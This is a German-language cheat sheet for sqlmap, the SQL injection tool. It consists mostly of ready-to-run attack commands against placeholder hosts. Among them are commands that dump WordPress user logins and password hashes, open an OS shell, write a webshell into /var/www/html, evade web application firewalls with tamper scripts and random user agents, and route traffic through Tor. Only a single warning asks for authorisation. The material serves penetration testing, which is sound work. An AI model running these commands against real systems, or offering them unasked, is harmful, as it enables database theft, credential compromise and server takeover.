sqlmap Cheatsheet

6 Kernbereiche
Die wichtigsten sqlmap-Optionen für SQL Injection-Tests: -u · -r · --dbs · --tables · --dump · --os-shell · --level · --risk sqlmap ist das führende Open-Source-Tool für die automatische Erkennung und Ausnutzung von SQL-Injection-Schwachstellen. Diese Übersicht fasst die wichtigsten Optionen und Techniken zusammen.

Grundlagen – Erste Schritte

-u · -r · -p · --data · --cookie
sqlmap -u "http://target.com/page?id=1"

Grundlegende Optionen für den Einstieg: URL, Request-Datei, Parameter und Header.

Wichtige Grundoptionen

Option Beschreibung
-u URL Ziel-URL (GET-Parameter in der URL)
-r REQUESTFILE HTTP-Request aus Datei laden (z.B. aus Burp)
-p PARAM Nur bestimmten Parameter testen
--data=DATA POST-Daten für den Request
--cookie=COOKIE Cookies für den Request
--user-agent=UA Benutzerdefinierten User-Agent setzen
--headers=HEADERS Benutzerdefinierte Header
Beispiele
# Einfacher GET-Request
sqlmap -u "http://example.com/page?id=1"
# POST-Request mit Daten
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
# Request aus Datei (Burp-Export)
sqlmap -r request.txt
# Bestimmten Parameter testen
sqlmap -u "http://example.com/page?id=1&cat=2" -p id
# Mit Cookie
sqlmap -u "http://example.com/page?id=1" --cookie="PHPSESSID=abc123"
Tipp: Verwenden Sie -r mit einem aus Burp Suite exportierten Request – das ist die schnellste und sicherste Methode, da alle Header (Cookies, User-Agent, etc.) korrekt übernommen werden.

Wichtige Optionen – Verhalten steuern

--level · --risk · --threads · --batch
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2 --threads=5

Optionen steuern die Tiefe, Geschwindigkeit und Intensität des Tests.

Verhaltensoptionen

Option Beschreibung Empfehlung
--level=LEVEL Testtiefe (1-5, je höher desto mehr Tests) 3 für gründliche Tests
--risk=RISK Risikostufe (1-3, höher = aggressiver) 2 für die meisten Tests
--threads=N Anzahl paralleler Threads (1-10) 5 für beschleunigte Tests
--batch Automatische Bestätigung (keine Rückfragen) Für Skripte/Automatisierung
--timeout=TIME Timeout in Sekunden 30 (Standard)
--delay=SECONDS Verzögerung zwischen Anfragen 0 (für schnelle Tests)
--random-agent Zufälligen User-Agent verwenden Empfohlen für WAF-Umgehung
Beispiele
# Intensiver Test mit höherem Level
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2
# Schneller Test mit Threads
sqlmap -u "http://target.com/page?id=1" --threads=5 --batch
# WAF-Umgehung mit random-agent
sqlmap -u "http://target.com/page?id=1" --random-agent
Tipp: Erhöhen Sie --level und --risk schrittweise. Höhere Werte können mehr Schwachstellen finden, aber auch zu mehr False Positives führen und den Server belasten.

Techniken – Angriffsmethoden

--technique · UNION · ERROR · BOOLEAN · TIME
sqlmap -u "http://target.com/page?id=1" --technique=U

Techniken definieren, welche SQL-Injection-Methoden verwendet werden. Standardmäßig testet sqlmap alle Techniken.

Verfügbare Techniken

Buchstabe Technik Beschreibung
U UNION Query Daten über UNION SELECT extrahieren (schnell)
E Error-based Daten über Fehlermeldungen extrahieren
B Boolean-based Blind Daten über True/False-Antworten extrahieren
T Time-based Blind Daten über Zeitverzögerungen extrahieren
S Stacked Queries Mehrere SQL-Anweisungen ausführen
Beispiele
# Nur UNION-Query-Technik
sqlmap -u "http://target.com/page?id=1" --technique=U
# Mehrere Techniken kombinieren
sqlmap -u "http://target.com/page?id=1" --technique=UBT
# Nur Time-based (für Blind-Injections)
sqlmap -u "http://target.com/page?id=1" --technique=T
Tipp: Bei Blind SQL Injections ist Time-based (T) oft die zuverlässigste Methode. Bei sichtbaren Fehlermeldungen ist Error-based (E) am schnellsten.

Enumeration – Datenbanken auslesen

--dbs · --tables · --columns · --dump
sqlmap -u "http://target.com/page?id=1" --dbs sqlmap -u "http://target.com/page?id=1" -D database --tables sqlmap -u "http://target.com/page?id=1" -D database -T table --dump

Enumeration ermöglicht das Auslesen von Datenbanknamen, Tabellen, Spalten und den eigentlichen Daten.

Enumeration-Optionen

Option Beschreibung
--dbs Alle Datenbanken auflisten
-D DB Bestimmte Datenbank auswählen
--tables Tabellen in der Datenbank auflisten
-T TABLE Bestimmte Tabelle auswählen
--columns Spalten der Tabelle auflisten
--dump Daten aus Tabelle extrahieren
--dump-all Alle Daten aus allen Tabellen
--count Anzahl der Einträge pro Tabelle
Beispiele
# Alle Datenbanken anzeigen
sqlmap -u "http://target.com/page?id=1" --dbs
# Tabellen in einer Datenbank
sqlmap -u "http://target.com/page?id=1" -D wordpress --tables
# Daten aus einer Tabelle
sqlmap -u "http://target.com/page?id=1" -D wordpress -T wp_users --dump
# Nur bestimmte Spalten extrahieren
sqlmap -u "http://target.com/page?id=1" -D wordpress -T wp_users --columns
# Nur user_login und user_pass extrahieren
sqlmap -u "http://target.com/page?id=1" -D wordpress -T wp_users -C user_login,user_pass --dump
Tipp: Bei großen Datenmengen verwenden Sie --start=1 --stop=10 oder --columns gefolgt von --dump -C spalte – das reduziert die Anzahl der Anfragen und schont den Server.

Fortgeschrittene Funktionen – os-shell, file-upload, WAF-Umgehung

--os-shell · --file-write · --tamper
sqlmap -u "http://target.com/page?id=1" --os-shell sqlmap -u "http://target.com/page?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

Fortgeschrittene Funktionen ermöglichen das Ausführen von Systembefehlen, das Hochladen von Dateien und die Umgehung von Web Application Firewalls (WAF).

Fortgeschrittene Optionen

Option Beschreibung
--os-shell Interaktive System-Shell (falls möglich)
--os-cmd=CMD Einzelnen Systembefehl ausführen
--file-write=DATEI Datei auf den Server schreiben
--file-dest=PFAD Zielpfad für --file-write
--tamper=TAMPER WAF-Umgehung durch Tamper-Skripte
--proxy=PROXY Proxy verwenden (z.B. http://127.0.0.1:8080)
--tor Traffic über TOR leiten
Beispiele
# System-Shell öffnen
sqlmap -u "http://target.com/page?id=1" --os-shell
# Datei hochladen (Webshell)
sqlmap -u "http://target.com/page?id=1" --file-write=cmd.php --file-dest=/var/www/html/shell.php
# WAF-Umgehung mit Tamper
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
# Mehrere Tamper kombinieren
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase
# Über Burp Proxy leiten
sqlmap -u "http://target.com/page?id=1" --proxy=http://127.0.0.1:8080
⚠️ Warnung: --os-shell und --file-write können erheblichen Schaden anrichten. Verwenden Sie diese Funktionen nur mit ausdrücklicher Genehmigung in autorisierten Umgebungen.

Tipps & Best Practices – Effizient und sicher testen

--batch · --output-dir · --fresh-queries
sqlmap -u "http://target.com/page?id=1" --batch --output-dir=./results

Best Practices für effiziente und sichere Tests mit sqlmap.

Praktische Tipps

Tipp Beschreibung
--batch Automatische Bestätigung aller Fragen – ideal für Skripte
--output-dir=PFAD Ergebnisse in eigenem Verzeichnis speichern
--fresh-queries Cache ignorieren und alle Abfragen neu ausführen
--flush-session Session-Datei löschen und von vorne beginnen
--smart Nur fortgeschrittene Tests durchführen (spart Zeit)
--time-sec=5 Time-based: Sekunden für Verzögerung (Standard: 5)
--string="ERROR" Prüfung auf bestimmten String in Fehlerantworten
--not-string="OK" Ausschluss eines Strings in Antworten
Beispiele
# Automatischer Test mit Ergebnis-Verzeichnis
sqlmap -u "http://target.com/page?id=1" --batch --output-dir=./target_results
# Erzwungener Neu-Test (ohne Cache)
sqlmap -u "http://target.com/page?id=1" --fresh-queries --flush-session
# Nur schnell testen (nur intelligente Tests)
sqlmap -u "http://target.com/page?id=1" --smart
# Time-based Verzögerung anpassen
sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=10
Tipp: Verwenden Sie --smart für schnelle erste Tests. Bei komplexen Anwendungen ist --level=3 --risk=2 ein guter Kompromiss zwischen Gründlichkeit und Geschwindigkeit.

sqlmap im Überblick

-u Ziel-URL
GET-Parameter
-r Request aus Datei
Burp-Export
--dbs Datenbanken auflisten
Enumeration
--dump Daten extrahieren
Tabellen auslesen
--os-shell System-Shell
Nur mit Genehmigung
--tamper WAF-Umgehung
Payloads modifizieren

Quick Summary

-u
Ziel-URL
--level
Testtiefe
--technique
Angriffsmethode
--dbs
Datenbanken
--os-shell
System-Shell
--batch
Automatisiert
sqlmap -u "http://target.com/page?id=1" --dbs --batch · sqlmap -r request.txt -D db -T table --dump